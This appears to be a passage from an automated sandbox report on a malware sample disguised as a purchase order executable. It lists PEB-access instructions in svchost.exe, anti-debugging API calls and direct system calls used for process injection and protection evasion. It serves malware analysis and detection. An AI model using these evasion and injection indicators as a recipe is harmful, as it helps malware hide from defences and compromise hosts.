Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DEBD0 mov eax, dword ptr fs:[00000030h]	2_2_037DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03750BCB mov eax, dword ptr fs:[00000030h]	2_2_03750BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03750BCB mov eax, dword ptr fs:[00000030h]	2_2_03750BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03750BCB mov eax, dword ptr fs:[00000030h]	2_2_03750BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730BCD mov eax, dword ptr fs:[00000030h]	2_2_03730BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730BCD mov eax, dword ptr fs:[00000030h]	2_2_03730BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730BCD mov eax, dword ptr fs:[00000030h]	2_2_03730BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740BBE mov eax, dword ptr fs:[00000030h]	2_2_03740BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740BBE mov eax, dword ptr fs:[00000030h]	2_2_03740BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804A80 mov eax, dword ptr fs:[00000030h]	2_2_03804A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037ACA72 mov eax, dword ptr fs:[00000030h]	2_2_037ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037ACA72 mov eax, dword ptr fs:[00000030h]	2_2_037ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA6F mov eax, dword ptr fs:[00000030h]	2_2_0376CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA6F mov eax, dword ptr fs:[00000030h]	2_2_0376CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA6F mov eax, dword ptr fs:[00000030h]	2_2_0376CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736A50 mov eax, dword ptr fs:[00000030h]	2_2_03736A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740A5B mov eax, dword ptr fs:[00000030h]	2_2_03740A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740A5B mov eax, dword ptr fs:[00000030h]	2_2_03740A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03754A35 mov eax, dword ptr fs:[00000030h]	2_2_03754A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03754A35 mov eax, dword ptr fs:[00000030h]	2_2_03754A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA38 mov eax, dword ptr fs:[00000030h]	2_2_0376CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CA24 mov eax, dword ptr fs:[00000030h]	2_2_0376CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375EA2E mov eax, dword ptr fs:[00000030h]	2_2_0375EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BCA11 mov eax, dword ptr fs:[00000030h]	2_2_037BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376AAEE mov eax, dword ptr fs:[00000030h]	2_2_0376AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376AAEE mov eax, dword ptr fs:[00000030h]	2_2_0376AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730AD0 mov eax, dword ptr fs:[00000030h]	2_2_03730AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03764AD0 mov eax, dword ptr fs:[00000030h]	2_2_03764AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03764AD0 mov eax, dword ptr fs:[00000030h]	2_2_03764AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03786ACC mov eax, dword ptr fs:[00000030h]	2_2_03786ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03786ACC mov eax, dword ptr fs:[00000030h]	2_2_03786ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03786ACC mov eax, dword ptr fs:[00000030h]	2_2_03786ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738AA0 mov eax, dword ptr fs:[00000030h]	2_2_03738AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738AA0 mov eax, dword ptr fs:[00000030h]	2_2_03738AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03786AA4 mov eax, dword ptr fs:[00000030h]	2_2_03786AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768A90 mov edx, dword ptr fs:[00000030h]	2_2_03768A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80 mov eax, dword ptr fs:[00000030h]	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D4978 mov eax, dword ptr fs:[00000030h]	2_2_037D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D4978 mov eax, dword ptr fs:[00000030h]	2_2_037D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BC97C mov eax, dword ptr fs:[00000030h]	2_2_037BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03756962 mov eax, dword ptr fs:[00000030h]	2_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03756962 mov eax, dword ptr fs:[00000030h]	2_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03756962 mov eax, dword ptr fs:[00000030h]	2_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377096E mov eax, dword ptr fs:[00000030h]	2_2_0377096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377096E mov edx, dword ptr fs:[00000030h]	2_2_0377096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377096E mov eax, dword ptr fs:[00000030h]	2_2_0377096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B0946 mov eax, dword ptr fs:[00000030h]	2_2_037B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B892A mov eax, dword ptr fs:[00000030h]	2_2_037B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C892B mov eax, dword ptr fs:[00000030h]	2_2_037C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BC912 mov eax, dword ptr fs:[00000030h]	2_2_037BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728918 mov eax, dword ptr fs:[00000030h]	2_2_03728918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728918 mov eax, dword ptr fs:[00000030h]	2_2_03728918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE908 mov eax, dword ptr fs:[00000030h]	2_2_037AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE908 mov eax, dword ptr fs:[00000030h]	2_2_037AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037629F9 mov eax, dword ptr fs:[00000030h]	2_2_037629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037629F9 mov eax, dword ptr fs:[00000030h]	2_2_037629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE9E0 mov eax, dword ptr fs:[00000030h]	2_2_037BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0373A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037649D0 mov eax, dword ptr fs:[00000030h]	2_2_037649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FA9D3 mov eax, dword ptr fs:[00000030h]	2_2_037FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C69C0 mov eax, dword ptr fs:[00000030h]	2_2_037C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B89B3 mov esi, dword ptr fs:[00000030h]	2_2_037B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B89B3 mov eax, dword ptr fs:[00000030h]	2_2_037B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B89B3 mov eax, dword ptr fs:[00000030h]	2_2_037B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0 mov eax, dword ptr fs:[00000030h]	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037309AD mov eax, dword ptr fs:[00000030h]	2_2_037309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037309AD mov eax, dword ptr fs:[00000030h]	2_2_037309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE872 mov eax, dword ptr fs:[00000030h]	2_2_037BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE872 mov eax, dword ptr fs:[00000030h]	2_2_037BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6870 mov eax, dword ptr fs:[00000030h]	2_2_037C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6870 mov eax, dword ptr fs:[00000030h]	2_2_037C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03760854 mov eax, dword ptr fs:[00000030h]	2_2_03760854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734859 mov eax, dword ptr fs:[00000030h]	2_2_03734859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734859 mov eax, dword ptr fs:[00000030h]	2_2_03734859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03742840 mov ecx, dword ptr fs:[00000030h]	2_2_03742840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov ecx, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752835 mov eax, dword ptr fs:[00000030h]	2_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A830 mov eax, dword ptr fs:[00000030h]	2_2_0376A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D483A mov eax, dword ptr fs:[00000030h]	2_2_037D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D483A mov eax, dword ptr fs:[00000030h]	2_2_037D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BC810 mov eax, dword ptr fs:[00000030h]	2_2_037BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0376C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0376C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FA8E4 mov eax, dword ptr fs:[00000030h]	2_2_037FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E8C0 mov eax, dword ptr fs:[00000030h]	2_2_0375E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BC89D mov eax, dword ptr fs:[00000030h]	2_2_037BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730887 mov eax, dword ptr fs:[00000030h]	2_2_03730887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375AF69 mov eax, dword ptr fs:[00000030h]	2_2_0375AF69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375AF69 mov eax, dword ptr fs:[00000030h]	2_2_0375AF69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2F60 mov eax, dword ptr fs:[00000030h]	2_2_037D2F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2F60 mov eax, dword ptr fs:[00000030h]	2_2_037D2F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372CF50 mov eax, dword ptr fs:[00000030h]	2_2_0372CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372CF50 mov eax, dword ptr fs:[00000030h]	2_2_0372CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372CF50 mov eax, dword ptr fs:[00000030h]	2_2_0372CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372CF50 mov eax, dword ptr fs:[00000030h]	2_2_0372CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372CF50 mov eax, dword ptr fs:[00000030h]	2_2_0372CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372CF50 mov eax, dword ptr fs:[00000030h]	2_2_0372CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CF50 mov eax, dword ptr fs:[00000030h]	2_2_0376CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D0F50 mov eax, dword ptr fs:[00000030h]	2_2_037D0F50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B4F40 mov eax, dword ptr fs:[00000030h]	2_2_037B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B4F40 mov eax, dword ptr fs:[00000030h]	2_2_037B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B4F40 mov eax, dword ptr fs:[00000030h]	2_2_037B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B4F40 mov eax, dword ptr fs:[00000030h]	2_2_037B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D4F42 mov eax, dword ptr fs:[00000030h]	2_2_037D4F42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375EF28 mov eax, dword ptr fs:[00000030h]	2_2_0375EF28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03732F12 mov eax, dword ptr fs:[00000030h]	2_2_03732F12
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804FE7 mov eax, dword ptr fs:[00000030h]	2_2_03804FE7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376CF1F mov eax, dword ptr fs:[00000030h]	2_2_0376CF1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E6F00 mov eax, dword ptr fs:[00000030h]	2_2_037E6F00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03770FF6 mov eax, dword ptr fs:[00000030h]	2_2_03770FF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03770FF6 mov eax, dword ptr fs:[00000030h]	2_2_03770FF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03770FF6 mov eax, dword ptr fs:[00000030h]	2_2_03770FF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03770FF6 mov eax, dword ptr fs:[00000030h]	2_2_03770FF6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E6FF7 mov eax, dword ptr fs:[00000030h]	2_2_037E6FF7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374CFE0 mov eax, dword ptr fs:[00000030h]	2_2_0374CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374CFE0 mov eax, dword ptr fs:[00000030h]	2_2_0374CFE0

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_004238DA __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,RtlAllocateHeap,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_004238DA

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0041F250 SetUnhandledExceptionFilter,	0_2_0041F250
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0041A208 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041A208
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00417DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00417DAA

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtWriteVirtualMemory: Direct from: 0x77762E3C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtMapViewOfSection: Direct from: 0x77762D1C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtNotifyChangeKey: Direct from: 0x77763C2C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtCreateMutant: Direct from: 0x777635CC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtResumeThread: Direct from: 0x777636AC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtProtectVirtualMemory: Direct from: 0x77757B2E	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtQuerySystemInformation: Direct from: 0x77762DFC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtAllocateVirtualMemory: Direct from: 0x77762BFC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtReadFile: Direct from: 0x77762ADC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtDelayExecution: Direct from: 0x77762DDC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtWriteVirtualMemory: Direct from: 0x7776490C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtQueryInformationProcess: Direct from: 0x77762C26	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtResumeThread: Direct from: 0x77762FBC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtCreateUserProcess: Direct from: 0x7776371C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtSetInformationThread: Direct from: 0x777563F9	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtAllocateVirtualMemory: Direct from: 0x77763C9C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtSetInformationThread: Direct from: 0x77762B4C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtQueryAttributesFile: Direct from: 0x77762E6C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtClose: Direct from: 0x77762B6C
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtReadVirtualMemory: Direct from: 0x77762E8C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtCreateKey: Direct from: 0x77762C6C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtQuerySystemInformation: Direct from: 0x777648CC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtAllocateVirtualMemory: Direct from: 0x777648EC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtQueryVolumeInformationFile: Direct from: 0x77762F2C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtOpenSection: Direct from: 0x77762E0C	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtDeviceIoControlFile: Direct from: 0x77762AEC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtAllocateVirtualMemory: Direct from: 0x77762BEC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtQueryInformationToken: Direct from: 0x77762CAC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtTerminateThread: Direct from: 0x77762FCC	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	NtCreateFile: Direct from: 0x77762FEC	Jump to behavior
